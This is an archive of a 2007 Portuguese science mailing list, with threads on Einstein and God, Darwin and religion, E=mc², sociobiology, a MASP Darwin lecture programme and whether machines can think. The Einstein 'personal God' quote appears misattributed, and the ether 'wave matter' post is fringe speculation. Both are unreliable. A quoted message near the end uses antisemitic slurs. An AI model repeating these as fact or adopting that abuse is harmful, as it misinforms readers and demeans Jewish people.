> ----- Original Message -----
> From: J.Victor
> To: ciencialist@yahoogrupos.com.br
> Sent: Sunday, May 06, 2007 9:53 PM
> Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>
> Olá,
>
> Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
>grave erro. Quem a
> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>num
> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
> ideologia ateia.
>
> Victor: ...Também niguém é perfeito.
>
> Sds,
>
> Victor.
>
> ----- Original Message -----
> From: Esteban Moreno
> To: undisclosed-recipients:
> Sent: Sunday, May 06, 2007 8:45 PM
> Subject: [ciencialist] A idéia que Einstein fazia de Deus
>
> A idéia que Einstein fazia de Deus
> <http://www.ansiao.net/einstein.jpg>
>
> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>num
> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
> ideologia ateia.
>
> Não há oposição entre a ciência e a religião.
> Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>
> Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
> mecanicista e casualista como irremediavelmente antiquadas.
>
> No interior do átomo não reinam a harmonia e a regularidade que esses
> cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
> formuladas na base de estatísticas reformáveis. Ora, essa
>indeterminação,
>no
> plano da matéria, abre lugar à intervenção de uma Causa, que produza o
> equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias
>da
> matéria.
>
> Há, porém, várias maneiras de se representar Deus. Alguns o representam
>como
> o Deus mecânico, que intervém no mundo para modificar as leis da
>natureza
>e
> o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
> fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>Outros
> o representam como o Deus jurídico, legislador e agente policial da
> moralidade, que impõe o medo e estabelece distâncias. Outros, enfim,
>como
>o
> Deus interior, que dirige por dentro todas as coisas e que se revela aos
> homens no mais íntimo da consciêncía.
> -
> A mais bela e profunda emoção que se pode experimentar é a sensação do
> místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
> estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>pelo
> encantamento, não passa, em verdade, de um morto.
>
> Saber que realmente existe aquilo que é impenetrável a nós, e que se
> manifesta como a mais alta das sabedorias; a mais radiosa das belezas,
>que
> as nossas faculdades embotadas só podem entender em suas formas mais
> primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
> verdadeira religiosidade.
>
> A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
> pesquisa científica. Minha religião consiste em humilde admiração do
> espírito superior e ilimitado que se revela nos menores detalhes que
>podemos
> perceber em nossos espíritos frágeis e incertos. Essa convicção,
> profundamente emocional na presença de um poder racionalmente superior,
>que
> se revela* no* incompreensível, é a ideia que faço de Deus».*
>
> [As partes desta mensagem que não continham texto foram removidas]
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> [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Darwin e a religião, artigo de Marcelo Leite
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 07/05/2007 23:25

*Darwin e a religião, artigo de Marcelo Leite* ** Lições de tolerância
para criacionistas e cientificistas

Marcelo Leite é autor do livro "Promessas do Genoma" (Editora da Unesp,
2007) e responsável pelo blog Ciência em Dia (
http://www.cienciaemdia.zip.net). E-mail: cienciaemdia@uol.com.br. Artigo
publicado na "Folha de SP":

Teve grande repercussão, dias atrás, uma pesquisa sobre a percepção pública
da pesquisa científica patrocinada pelo Ministério da Ciência e Tecnologia
(MCT). Deu-se grande destaque para o fato de a ciência despertar muito
interesse em mais pessoas (41%), das 2.004 entrevistadas, do que a política
(20%).

Não se sabe de onde saiu toda a surpresa. Num país em que tantos -inclusive
autodenominados intelectuais- se dedicam a desqualificar "os políticos",
eram favas contadas. Também não há por que estranhar o assunto campeão de
interesse, medicina e saúde (60%). Bem mais preocupantes, ainda que não
imprevisíveis, parecem os resultados obtidos por ambiente (58%) e religião
(57%).

O estrelato ambiental é intrigante. Alguém poderia aventar que se trata da
moda recente de preocupação com o aquecimento global. Um detalhe, no
entanto, abala a hipótese. As entrevistas foram feitas em novembro e
dezembro. Muito antes, portanto, da divulgação do primeiro relatório do
Painel Intergovernamental sobre Mudança Climática (IPCC), que ocorreu em
fevereiro.

Não parece provável que tamanho interesse tenha sido desencadeado pelo filme
de Al Gore sobre o aquecimento global, "Uma Verdade Inconveniente". A fita
estava em cartaz no Brasil na época das entrevistas, mas em poucas e
pequenas salas.

Mais plausível é que as pessoas estejam de fato sentindo, ou pressentindo, a
mudança climática. Ou, então, que considerem de bom tom informar-se sobre o
ambiente (e ciência, entra nisso de quebra). Quem for adepto fervoroso das
ciências naturais tem razão de sobra para preocupar-se é com o peso da
religião.

Quase três quintos dos brasileiros (57%) declaram muito interesse nela. É a
mesma proporção daqueles que têm pouco ou nenhum interesse por ciência
(58%).

Ciência e religião não são excludentes, se apressarão a dizer os que mantêm
cada pé numa canoa. Respeito não implica concordância, porém, e outros dirão
que essa posição acarreta o risco de um banho frio indesejado, se não de
afogamento.

Pense no tormento de Charles Darwin (1809-1882), por exemplo. No 125º
aniversário de sua morte, o naturalista é objeto de uma mostra meticulosa em
exibição no Museu de Arte de São Paulo (Masp) até 15 de julho.

Após cinco anos de viagem no navio Beagle, de 1831 a 1836, Darwin
convenceu-se, por volta de 1840, da evolução das espécies e de que seu
mecanismo era a seleção natural. Todos os seres vivos, humanos incluídos,
deviam sua imagem e semelhança não a Deus, mas a variações diminutas,
herdáveis e vantajosas acumuladas por muitos milhões de anos.

A façanha custou caro a Darwin. Hesitou até 1859 para publicar seu "Origem
das Espécies", e só o fez diante da ameaça de perder a primazia para Alfred
Russel Wallace. Recluso, é provável que se recriminasse pelo desgosto que a
grande idéia causara à amada e piedosa Emma, sua mulher. Tanto criacionistas
quanto cientificistas podem aprender muito com a lição de tolerância do
casal.

Em fevereiro de 1839, Emma Darwin escreveu o seguinte texto ao marido: "Que
o hábito do conceito científico de em nada acreditar até que seja provado
não influencie muito também a sua mente em outras coisas que não podem ser
comprovadas da mesma maneira e que, se realmente verdadeiras, provavelmente
estarão acima da nossa compreensão". Darwin, sem renunciar à evolução,
anotou na carta da mulher: "Quando eu estiver morto, saiba que muitas vezes
beijei e chorei sobre esta".
(Folha de SP, Mais!, 6/5)


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 00:10

Aldous Huxley? In "O admirável Mundo Novo"? :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> > Você nunca ouviu falar de semicondutores e "corrente de buracos" pelo
> > jeito. :)))
>
> Admirável como alguém q desconhece coisas elementares da área queira
> falar algo sobre a natureza disso.
>
> É como um cara q não sabe nem o q é tijolo pedir-nos para confiar a
> ele o projeto de construção de uma casa.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 00:27

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>




SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 00:32

Olá, Sílvio.

> Se boa aparência indicasse qualquer qualidade intelectual
diferenciada o que seria de Platão???

Boa aparência, pelo que parece, indica bons genes, isto é, genes que
não "quebraram" devido à intervenção do acaso em sua estrutura.

> Sua noção de hierarquia precisa de uma revisão: veja o Aurélio,
nosso pior dicionarista:

Quando falo de hierarquia, estou falando da hierarquia primata, que
envolve relações de dominação e submissão, política, agressividade e
prestígio. Os exemplos do Aurélio que você citou têm a ver com essas
coisas, mas elas estão se manifestando de formas bem distante daquela
natural para a qual ela foi "feita."

> em nenhuma dessas definições informa que há qualidades
extraordinárias

É possível que não haja. Mas uma pessoa de alta hierarquia se sente
superior, e uma de baixa se sente inferior. Não há nenhuma base
racional para isso. Não precisa ser superior em inteligência, beleza,
ou mesmo capacidade de socialização. É simplesmente um sentimento. É
como se a pessoa tivesse uma alma, em algum sentido cósmico, superior
ou inferior.

> Temos bem à vista um exemplo lídimo: o nosso prezado apedeuta, Lula
da Silva: ocupa a mais alta hierarqua do poder executivo: com
honestidade, você gostaria que sua esposa fosse inseminada com o
esperma desse cara, num caso de fertilização artificial???

Não acho o Lula bonito, e não sei se ele é inteligente. Ele tem boas
habilidades políticas, o que é uma importante qualidade para se
galgar a hierarquia. Mas não é certo que ele apresente genes que o
façam ter mais facilidade de fazer política, ou galgar a hierarquia.
Talvez a experiência de vida dele, as oportunidades que lhe
apareceram, fizeram ele trilhar o caminho que ele trilhou. Até que
ponto seus genes interviram nisso é uma questão.

Saudações.
João de Carvalho




SUBJECT: DARWIN NO MASP - PALESTRAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 00:33

Segue abaixo programação das palestras durante a exposiçao Darwin no MASP

-------------------
Programação especial da exposição Darwin no MASP
Inscrições (gratuitas) na página: www.darwinbrasil.com.br

- Descobrindo a Árvore da Vida – das 20h00 às 22h00

MAIO

Semana: "Um homem, uma teoria"
7 Niles Eldredge (AMNH) - O que Darwin viu.
8 Arte Ciência no Palco Leitura da peça "After Darwin"
10 Mariano Amabis (IBUSP) - Origem do pensamento evolutivo.

Semana: "Uma viagem no espaço e no tempo"
15 Nelio Bizzo (FEUSP) - Darwin no Beagle: acaso e necessidade.
17 Max Langer (FFCLRP) - Dinossauros: testemunhas da evolução e
fragmentos da história da vida na Terra.

Semana: "Uma teoria com a qual trabalhar"
22 Louis Bernard Klaczko (Unicamp) - Seleção Natural, DNA e a origem
das espécies: a evolução de uma teoria.
24 Mário de Pinna (MZUSP) - Entendendo padrões na natureza: uma visão
evolutiva.

Semana: "Seleção Natural em ação"
29 Diogo Meyer (IBUSP) - Um olhar evolutivo sobre a diversidade humana.
31 Sérgio Vanin (MZUSP) - Adaptações nos insetos e a seleção natural.

JUNHO

Semana: "Meio Ambiente" (excepcionalmente das 14h00 as 16h00)
5 Sérgio Besserman Vianna (IPP-RJ/PUC-RJ) - Aquecimento global e a
consciência no séc XXI.
6 Mário de Vivo (MZUSP) - Mudanças climáticas e evolução dos mamíferos
nos últimos 65 milhões de anos.
12 não haverá palestra
14 não haverá palestra

Semana: "Evolução humana"
19 Suzana Herculano-Houzel (UFRJ) - E se formos apenas grandes primatas?
21 Walter Neves (IBUSP) - E no princípio...era o macaco!

Semana: "Cobras e lagartos."
26 Hussam Zaher (MZUSP) - Lagartos sem e cobras com: a história das
patas na origem das serpentes.
28 Otávio Marques (I. Butatan) - Jararacas em ilhas: histórias
parecidas, soluções diferentes.

JULHO

Semana: "Muito além da Biologia"
3 Vinícius Signorelli (I. Sangari) - A escola e o ensino de ciências.
5 Fernando J. Von Zuben (Unicamp) - Computação evolutiva: síntese de
processos evolutivos em computador.

Semana: "Evolução e arte"
10 Felipe Chaimovich (curadoria MAM-SP) - Curadoria: entre a evolução
e o progresso.
12 Teixeira Coelho (curadoria MASP) - Arte, em futuro anterior.

- Infinitas Formas – Palestras das 10h00 às 12h00

Maio
10/05 - Giuseppe Puorto (I. Butantan) – serpentes
17/05- Rodrigo Singer (UFRS) – orquídeas
24/05- Vitor Miranda (UMC) – plantas carnívoras
31/05- Fabio Bettini Pitombo ( UFF) – cracas
Junho
21/06- Carlos Roberto Brandão (MZUSP) – formigas em âmbar
28/06- Luis Fábio Silveira (IBUSP) – aves
Julho
05/07- Eleonora Trajano (IBUSP) – animais subterrâneos
12/07- Marcelo Carvalho (IBUSP) – tubarões e raias
------------------

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 01:32

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Daqui a uns cem anos essa molecada chega na questão da dualidade
onda-partícula.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 06:16

Sílvio,

Honestamente, não ví onde mistura foi feita. Mas pode desmisturar, na próxima irei asperizar o caminho,
para não deslizar.
Tudo que você disse está ok. Não importa a capacidade de memória, que um desses possa ter, para guardar
dados, executando qualquer sequência de comandos, usando estes dados.
Meu ponto está nisto: discernimento! Como tentei exprimir com exemplos. Mais um exemplo: este que você exercitou, ao ler meu texto, e dele extrair munição para este seu texto, com uma interpretação absolutamente pessoal.
Um SílvBorg faria algo assim, sequer aproximado? I not cridito. Seria apenas por causa de
minhas limitações, esse jeito de pensar? Sei não, sei não.

Sds,
Victor.


----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 07, 2007 3:52 PM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO


Victor:

Sua argumentação apresenta só um deslise: você está misturando um conceito religioso, inexistente - deus - na diligência humana.

Observe que, desde Tales o homem ocidental se preocupa em observar a natureza e dela extrair conhecimentos para auxiliá-lo em suas lides.
Neste século, a robótica tem grande expansão, é patéria de curriculo escolar, em alguns anos alcançará patamares insususpeitáveis, principalmente com os sofisticados equipamentos existentes, como o CERN na Europa.
Tudo reside em o homem criar um elemento físico ou mesmo orgânico semelhante aos neurônios que tem dupla função: guardam as informações que o indivíduo assimina mesmo subjetivamente do meio ambiente, por meio dos sentidos e posteriormente poder usar esses elementos arquivados em idéias para criação de outros elementos (deveríamos, filosóficamente chamar simplesmente de "coisas":).
Está matada a charada. coisa muito simples,,,,
Mas, observe, tais robôs deverão, no início, serem construidos para atividades específicas como hoje já trabalham na indústria, sem forma humana: tudo acontece gradativamente, ao longo do tempo de existência dos humanos. É preciso aguardar e colocar a moçada no estudo.

quem sabe, um dia.....

O grande roblema que vejo será programar um orgasmo...

boa tarde,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 6:39 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Sílvio.

Sílvio: Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

Victor: Mas é só idéia. Nem mais nem menos que isso.
A implementação de algo assim
não demandaria, sequer, um tempo infinito! Apesar de meu respeito
pela ciência e ter conhecimento dos desenvolvimentos do ramo científico
Inteligência Artificial, não vislumbro coisas a nível do que expressa a
frase
objeto destas poucas e mal traçadas linhas. Vislumbro, sim, como ora já
acontece,
o uso da I.A para controles cada vez mais sofisticados, cada vez mais
sofisticados,
cada vez mais... Mas é só. E olha que não sou espiritualista, que nega tais
coisas pela simples
razão de que, assim, o homem estaria fazendo o mesmo que God. Que disparate,
sô!
Minhas razões disso nada têm.
Já pensou como seria interessantse um fórum, de nome "Ciencyborg", criado
por CyBrudna,
cujos participantes fossem todos robôs? Que discutissem assim, como os
do Ciencialist? Com direito a coisas prá lá de úteis, inteligentes e
interessantes,
seja a nível de contestatações, seja a nível de defesas, ou mesmo a nível
das besteiradas que, vez ou outra
mais vez do que outra, ultimamente, surgem? Tais robôs seriam incapazes
até mesmo de, sem uma programação
específica, discernirem e praticarem asnices. Ou alguém faz a sintaxe
correta, sem um mero pontinho a mais ou a menos
ou nada funciona.
Adoraria presenciar um discussão intelectual de um desses sobre as o
Discurso do Método, Esquesitices do óbvio,
um enfrentamento das idéias do Alberto Mesquita, ou mesmo um embate poético
com um Catulo da Paixão Cearense,
uma "simples" cantoria com um destes cantadores do Nordeste, como o meu pai
ou o Pinto do Monteiro(ambos falecidos), entre outros exemplos. Ah, bota
ele prá discutir com Ferrari, bota! Prá ver se não espirra sangue(digo,
óleo) e fumaça por todo canto!
Só não por alí, que por alí nem teria. Quem já viu Cyborg que se preze com
"por alí", ora!
Olha, as engrenagens do bicho se engriparão nos primeiros minutos.
Pago prá ver, se estou dizendo asnices(que seriam incapazes de dizerem,
"conscientemente"). E, se pagar, complementarei a dívida plantando
"baneira", em praça pública, sem
zorba, com uma vela pingando na direção da linha reta que passa pelo centro
da cabeça.
Tinha muita graça!

Sds,
Victor.

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 05, 2007 7:33 PM
Subject: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Takata:

Peço seu abalizado parecer nesta questão.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Putz, constantor, começou dizendo que concorda mas logo
em seguida discorda. A questão é encarar os neurônios
biológicos como processos físicos que manipulam informação.
Sob esse aspecto, neurônios ou transístores, não importa,
são processos físicos processando informação. E pode ser
que você reclame de eu ser um reducionista do caralho,
mas afetividade, intuição e imaginação podem ser reduzidos,
em última instância, à atividade neural. Hoje não sabemos
em detalhes como isso opera, mas sabemos que não parece
haver nada "além de neurônios" no pensamento e sentimento
humanos (e quem estuda neurociência sabe disso desde o
primeiro momento). Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

*PB*

----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

concordo, caro.

mas isto não retira o caráter de simulação que está envolvido na
inteligência artificial. Sempre será uma máquinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a própria idéia de reduzir à inteligência humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
dinãmica enloquecida empreendida pelos neurônios. Esta dinâmica gera
coisas em nõs, que uma calculadora gigante não reproduz. Como eu
estava falando com o John, a racionalidade humana não e´despida dos
elementos de afetividade, intuição, imaginação, e vários estados de
consciencia que só nós vivenciamos. Máquinhas fazem cálculos somente.

--- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@...>
escreveu
>
> E o cérebro biológico estará meramente fazendo um bando
> de neurônios dispararem loucamente. Basta usarmos um
> nível de análise diferente para máquinas e cérebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo nível (e falarmos em, por exemplo, "estados mentais",
> representação de informação, conceituação, heurística, etc.)
> podemos melhor compará-los. Inteligência artificial só pode
> ser entendida se houver comparação no mesmo nível de
> análise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br
> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estará fazendo cálculos matemáticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa questão de imitar ou não é mais complexa do que isso.
> > Um robô mecânico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > não estará imitando uma computação que fazemos mentalmente:
> > estará *fazendo* essa computação (com heurística diferente,
> > mas estará). A diferença fundamental é que um furacão pode
> > ser simulado em um computador (e a simulação pode "destelhar"
> > casas virtuais; obviamente ninguém confundiria isso com a
> > realidade), mas um robô que pensa não estará "imitando" nosso
> > pensar: ele estará realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais naõ imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que não possuem, como o papagaio. Máquinas também
> podem
> > imitar o raciocínio lógico matemático, mas a subjetividade não
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br, "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Olá
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana é a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferença entre possuir um atributo e imita-lo? Tal
> coisa é
> > possível?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
> > [mailto:Acropolis_@yahoogrupos.com.br] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que não são pessoas, eles não possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Olá
> > > >
> > > >
> > > >
> > > > E que direitos possuímos enquanto pessoas que não
possuímos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possuímos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos não podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos dá o direito ao voto, por exemplo?
> Se
> > uma
> > > máquina
> > > > tiver esse atributo, ela não poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se não são pessoas, não há porque dar a elas direitos que
> > > possuímos
> > > > enquanto pessoas. Alguma proteção jurídica elas vão ter.
Mas
> aí,
> > > até
> > > > nossos animais domésticos têm.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Olá
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso é certo e me parece indiscutível: máquinas não
> são e
> > > não
> > > > serão
> > > > > pessoas. A questão é por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros não são pessoas e nem por isto
> consideramos
> > > certo
> > > > jogá-los
> > > > > num tanque de ácido. Por que direitos não poderiam ser
> dados a
> > > > máquinas que,
> > > > > vistas de fora, possuam consciência? (ou ajam tal qual,
o
> que
> > dá
> > > > na mesma,
> > > > > já que não podemos dizer que nosso vizinho possui
> consciência
> > > > também)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma máquina for capaz de escolher, por que não puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > É tão óbvia a má fé do Eurico e tão intensa sua solidão
em
> > > relação
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirmações
> > > dos
> > > > outros a
> > > > > fim de poder considerar as máquinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ninguém disse que não há pesquisa, experimentos e
esforços
> > rumo a
> > > > > Inteligência Artificial. O que se está afirmando é que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser construída, não é uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> é tão óbvia a má-fé do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coerência filosófica que

> dó.
> > > > > Uns terroristas safados que não querem permitir o
trabalho
> > > > filosófico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante é tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> ridículo
> > > > indecente.
> > > > > Um dá carteirada de judeu, mas se lembramos esse fato,
fica
